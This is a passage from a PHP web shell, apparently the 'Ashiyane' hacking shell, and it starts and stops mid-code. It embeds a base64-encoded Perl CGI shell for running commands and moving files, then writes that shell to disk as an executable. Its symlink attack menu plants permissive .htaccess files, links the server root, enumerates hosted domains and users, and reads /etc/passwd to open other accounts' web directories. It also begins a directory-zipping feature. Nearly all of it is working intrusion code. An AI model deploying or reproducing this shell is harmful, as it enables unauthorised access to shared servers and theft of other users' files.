CSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaX
NwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgd
G8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1y
ZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEF
yZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZG
VkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZp
bGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGV
uY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVX
JsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGlua
yA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFI
ZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9
hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQ
pTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzd
GFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uDQo8
L2NvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI
7DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKT
sNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsNCgkJJ
lByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZG
lzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZ
WQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUg
ZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQ
oJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZ
SBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklM
RSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSl
bN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIk
NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5nd
Gg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZp
bGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk
7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIi
k7DQoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KC
QkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYW
RzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhI
GxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlv
biBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2F
zZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhl
IGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHx
eLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYW
Jzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGgga
XMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnRE
aXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQo
JfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCS
ZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb
25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsN
Cgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aG
UgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkL
CBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90
aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIF
VwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvc
m0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIp
Ow0KCQkmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0
NCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCX
ByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KD
QoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRl
ZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFw
vXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdG
hTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmI
HRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigt
ZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCXByaW50ICJGYWlsZWQ
6IERlc3RpbmF0aW9uIGZpbGUgYWxyZWFkeSBleGlzdHMuPGJyPiI7DQoJfQ0KCWVsc2UgIyBmaWxlIGlzIG
5vdCBwcmVzZW50DQoJew0KCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCgkJew0KC
QkJYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmls
ZWRhdGEnfTsNCgkJCWNsb3NlKFVQTE9BREZJTEUpOw0KCQkJcHJpbnQgIlRyYW5zZmVyZWQgJFRhcmdldEZ
pbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJcHJpbnQgIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCg
kJfQ0KCQllbHNlDQoJCXsNCgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7DQoJCX0NCgl9DQoJcHJpbnQgI
jwvY29kZT4iOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9
DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0
tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlci
B3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkL
CBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90
aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0
KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL
S0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUg
ZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWd
lSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQ
oJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gY
mUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0K
CQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl
7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdm
UNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW
1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYo
JE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVR
vQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCW
Vsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZ
ExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9
ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS
0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJ
kdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVy
TmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkN
vbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGluey
dvJ307DQoNCiRBY3Rpb24gPSAkaW57J2EnfTsNCiRBY3Rpb24gPSAibG9naW4iIGlmKCRBY3Rpb24gZXEgI
iIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3Rvcnkg
aW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJGlueydkJ30
7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2
dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAib
G9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4NCnsNCgkmUGVyZm9ybUxv
Z2luOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpICMgdXNlciB3YW50cyB0byBydW4gYSBjb21
tYW5kDQp7DQoJJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAidXBsb2FkIikgIyB1c2
VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmVXBsb2FkRmlsZTsNCn0NCmVsc2lmKCRBY3Rpb24gZ
XEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCSZEb3dubG9hZEZp
bGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQo
JJlBlcmZvcm1Mb2dvdXQ7DQp9DQoNCg0K

";
$ashiyane6 = fopen('cgi.ashiyane','w+');
$ashiyane7 = fwrite ($ashiyane6 ,base64_decode($ashiyane5));
fclose($ashiyane6);
chmod('cgi.ashiyane',0755);
echo '<a name="down"></a><iframe src=cgiashiyane/cgi.ashiyane width=100%
height=600px frameborder=0></iframe> ';

if($action=="sym"){
echo "<style>#sym{background: #A81F1F}</style>";

?>
<div style="font-size:20px">
<center>
<a href="?action=sym&sym=dsym"><input type="button" value="Domains"></a>
<a href="?action=sym&sym=dusym"><input type="button" value="Domains User
Symlink"></a>
<a href="?action=sym&sym=passwd"><input type="button" value="Passwd
Symlink"></a>
<a href="?action=sym&sym=fsym"><input type="button" value="File
Symlinker"></a>
<a href="?action=sym&sym=dasym"><input type="button" value="Direct Admin
Symlink"></a>
</center>
<br /><br />
</div>
<?php
if(isset($_GET['sym']) && $_GET['sym']=="dusym"){
if(!@file_exists("/etc/virtual/domainowners")){
@set_time_limit(0);
echo "<center>";
@mkdir('sym',0777);
$ht = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n
AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt
.html \n Require None \n Satisfy Any";
$htfile =@fopen ('sym/.htaccess','w');
fwrite($htfile ,$ht);
@symlink('/','sym/root');
$basename = basename('_FILE_');
$namedfile = @file('/etc/named.conf');
if(!$namedfile)
{
echo "<b><font color=\"#FFFFFF\">Cant access /etc/named.conf on
server</b></font></center>";
}
else
{
echo "<br>";
echo "<table align='center' width='40%' class='syms'>
<td><font color=\"#FFFFFF\"><b><center># Count</center></font></b></td>
<td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td>
<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
<td><font color=\"#FFFFFF\"><b><center>symlink</center></font></b></td>";
$count=1;
foreach($namedfile as $namedfiles){
if(@eregi('zone',$namedfiles)){
preg_match_all('#zone "(.*)"#',$namedfiles,$namedfiles2);
flush();
if(strlen(trim($namedfiles2[1][0])) >2){
$valiasesfile = posix_getpwuid(@fileowner('/etc/valiases/'.$namedfiles2[1][0]));
$valiasfilename = $valiasesfile['name'];
@symlink('/','sym/root');
$valiasfilename = $namedfiles2[1][0];
$irdom = '\.ir';
$ildom = '\.il';
if (@eregi("$irdom",$namedfiles2[1][0]) or @eregi("$ildom",$namedfiles2[1][0]) ){
$valiasfilename = "<b><font style=\"color:#FFFFFF\">".$namedfiles2[1]
[0].'</font></b>';
}
echo "<tr><td><font color=\"#FFFFFF\">{$count}</font></td><td><a target='_blank'
href=http://www.".$namedfiles2[1][0].'/><font color=#FFFFFF><b>'.
$valiasfilename.'</b> </a></font></td><td><font color="white"><b>'.
$valiasesfile['name']."</font></b></td><td><a href='sym/root/home/".
$valiasesfile['name']."/public_html' target='_blank'><font
color=\"#FF0000\">symlink </font></a></td></tr>";flush();
$count++;}}}}
} else {
echo '<center><br><font color="#FFFFFF">This is Server DirectAdmin Use </font><font
color="#FF0000"><a href="?action=sym&sym=dasym">Symlink for Direct
Admin</a></font></b></center> ';
}
echo "</center></table>";
}
if(isset($_GET['sym']) && $_GET['sym']=="dasym"){

if(@file_exists("/etc/virtual/domainowners")){
@mkdir('sym',0777);
$ht = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n
AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt
.html \n Require None \n Satisfy Any";
$htfile =@fopen ('sym/.htaccess','w');
fwrite($htfile ,$ht);
@symlink('/','sym/root');
fclose($htfile);
$sole = @file("/etc/virtual/domainowners");
$count=1;
echo "<br>";
echo "<table align='center' width='40%' class='syms'>
<td><font color=\"#FFFFFF\"><b><center># Count</center></font></b></td>
<td><font color=\"#FFFFFF\"><b><center>Domains</center></font></b></td>
<td><font color=\"#FFFFFF\"><b><center>Users</center></font></b></td>
<td><font color=\"#FFFFFF\"><b><center>symlink</center></font></b></td>";
foreach($sole as $visible){
if(@eregi(":",$visible)){
$exfile = explode(':', $visible);
echo "<tr><td><font color=\"#FFFFFF\">{$count}</font></td><td><a target='_blank'
href=http://www.".trim($exfile[0]).'/><font
color=\"#FFFFFF\"><b>'.trim($exfile[0]).'</b> </font></a></td><td><font
color="white"><b>'.trim($exfile[1])."</font></b></td><td><a
href='sym/root/home/".trim($exfile[1])."/public_html' target='_blank'><font
color=\"#FF0000\">symlink </font></a></td></tr>";flush();
$count++;}}echo "</table>";}else{echo '<center><br><font color="#FFFFFF">This is
Server Cpanel Please Use </font><font color="#FF0000"><a href="?
action=sym&sym=dusym">Symlink for Cpanel</a></font></b><br></center>';}

}
if(isset($_GET['sym']) && $_GET['sym']=="dsym"){

if(!@file_exists("/etc/virtual/domainowners")){
echo "<center>";
echo "<br>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){

echo "<b><font color=\"#FFFFFF\">Cant access /etc/named.conf on


server</b></font></center>"; }
echo "<br><table align='center' width='40%' class='syms'><td><font
color=\"#FFFFFF\"><b><center>#Count</center></font></b></td><td><font
color=\"#FFFFFF\"><b><center>Domains</center></font></b></td><td><font
color=\"#FFFFFF\"><b><center>Users</center></font></b></td>";
$count=1;
if (is_array($d0mains) || is_object($d0mains))
{
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td><b><font color=\"#FFFFFF\">".$count."</b></font></td><td><a
href=http://www.".$domains[1][0]."/><font color=\"#FFFFFF\"><b>".$domains[1]
[0]."</font></b></a></td><td><b><font color=\"#FFFFFF\">".
$user['name']."</font></b></td></tr>";flush();
$count++;
}}}
}
echo "</center></table>";
}else{echo '<center><br><font color="#FFFFFF">This Server is DirectAdmin Please
Use </font><font color="#FF0000"><a href="?action=sym&sym=dasym">Symlink for Direct
Admin</a></font> </center>';}

}
if(isset($_GET['sym']) && $_GET['sym']=="passwd"){

@mkdir('sym',0777);
$htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n
AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt
.html \n Require None \n Satisfy Any";
$f =@fopen ('sym/.htaccess','w');
fwrite($f , $htcs);

@symlink("/","sym/root");

$pg = basename(__FILE__);
if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt')
> 0){

$cont = stripcslashes($_POST['file']);

if(!file_exists('passwd.txt')){

$f = @fopen('passwd.txt','w');

$w = @fwrite($f,$cont);

fclose($f);
}
if($w or @filesize('passwd.txt') > 0){

echo "<div class='tmp'><table align='center'


width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
flush();

$fil3 = file('passwd.txt');

foreach ($fil3 as $f){

$u=explode(':', $f);
$user = $u['0'];

echo "
<tr>

<td width='15%'>
$user
</td>
<td width='10%'>
<a href='sym/root/home/$user/public_html' target='_blank'>Symlink </a>
</td>

<td width='10%'>
<a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a>
</td>

</tr></div> ";

flush();
flush();

}
die ("</tr></div>");

echo "<center>Read /etc/passwd";


echo "<br /><br /><form method='post' action='?
action=sym&sym=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
flush();

$file = '/etc/passwd';

$r3ad = @fopen($file, 'r');


if ($r3ad){
$content = @fread($r3ad, @filesize($file));
echo "".htmlentities($content)."";
}
elseif(!$r3ad)
{
$r3ad = @show_source($file) ;
}
elseif(!$r3ad)
{
$r3ad = @highlight_file($file);
}
elseif(!$r3ad)
{

for($uid=0;$uid<1000;$uid++){
$ara = posix_getpwuid($uid);
if (!empty($ara)) {
while (list ($key, $val) =
each($ara)){
print "$val:";
}
print "\n";
}

flush();

echo "</textarea><br /><br /><input type='submit'


value='&nbsp;&nbsp;symlink&nbsp;&nbsp;'/> </form></center>";
flush();
}

if(isset($_GET['sym']) && $_GET['sym']=="fsym"){

echo'<center>The file path to symlink :

<br /><br />

<form method="post" action="?action=sym&sym=fsym">


<input type="text" name="file" value="/home/user/public_html/[File Name]"
size="60"/><br /><br />
<input type="text" name="symfile" value="sym.txt" size="60"/><br /><br />
<input type="submit" value="symlink" name="symlink" /> <br /><br />
</form>
</center>
';

if(isset($_POST['file']) && isset($_POST['symfile']) & isset($_POST['symlink'])){


$path_file = $_POST['file'];
$symfile = $_POST['symfile'];
$symlink = $_POST['symlink'];

if ($symlink)
{
@mkdir('symlink',0777);
$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType
txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n
Options all \n Options \n Allow from all \n";
$f =@fopen ('symlink/.htaccess','w');
@fwrite($f , $c);
@symlink("$path_file","symlink/$symfile");
echo '<br /><a target="_blank" href="symlink/'.$symfile.'" >'.$symfile.'</a>';
}

}
if($action=="zipper"){
if (class_exists('ZipArchive')){
echo '
<center>
<br /><br />
<form actoin="?action=zipper&dir='.$path.'#down" method="post">
<a name="down"></a>
<font color="#FFFFFF"><b>Dir:</b>
</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input
type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['path']).'"
size="60"/><br /><br />
<font color="#FFFFFF"><b>Save Dir: </b></font><input type="text" name="zipfile"
value="ashiyane.zip" size="60"/><br /><br />
<input type="submit" value=">>" name="ziper" /> <br /><br />
</form></center>
';
$code =
base64_decode('ICAgIGlmICghZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykgfHwgIWZpbGVfZXhpc3RzKCRz
b3VyY2UpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkemlwID0gbmV3IFppcEF
yY2hpdmUoKTsNCiAgICBpZiAoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLCBaSVBBUkNISVZFOjpDUkVBVE
UpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkc291cmNlID0gc3RyX3JlcGxhY
2UoJ1xcJywgJy8nLCByZWFscGF0aCgkc291cmNlKSk7DQoNCiAgICBpZiAoaXNfZGlyKCRzb3VyY2UpID09
PSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I
obmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZX
JhdG9yOjpTRUxGX0ZJUlNUKTsNCg0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpDQogICAgI
CAgIHsNCiAgICAgICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZSk7DQoNCiAg
ICAgICAgICAgIC8vIElnbm9yZSAiLiIgYW5kICIuLiIgZm9sZGVycw0KICAgICAgICAgICAgaWYoIGluX2F
ycmF5KHN1YnN0cigkZmlsZSwgc3RycnBvcygkZmlsZSwgJy8nKSsxKSwgYXJyYXkoJy4nLCAnLi4nKSkgKQ
0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAkZmlsZSA9IHJlYWxwYXRoKCRma
WxlKTsNCg0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZmlsZSkgPT09IHRydWUpDQogICAgICAgICAgICB7
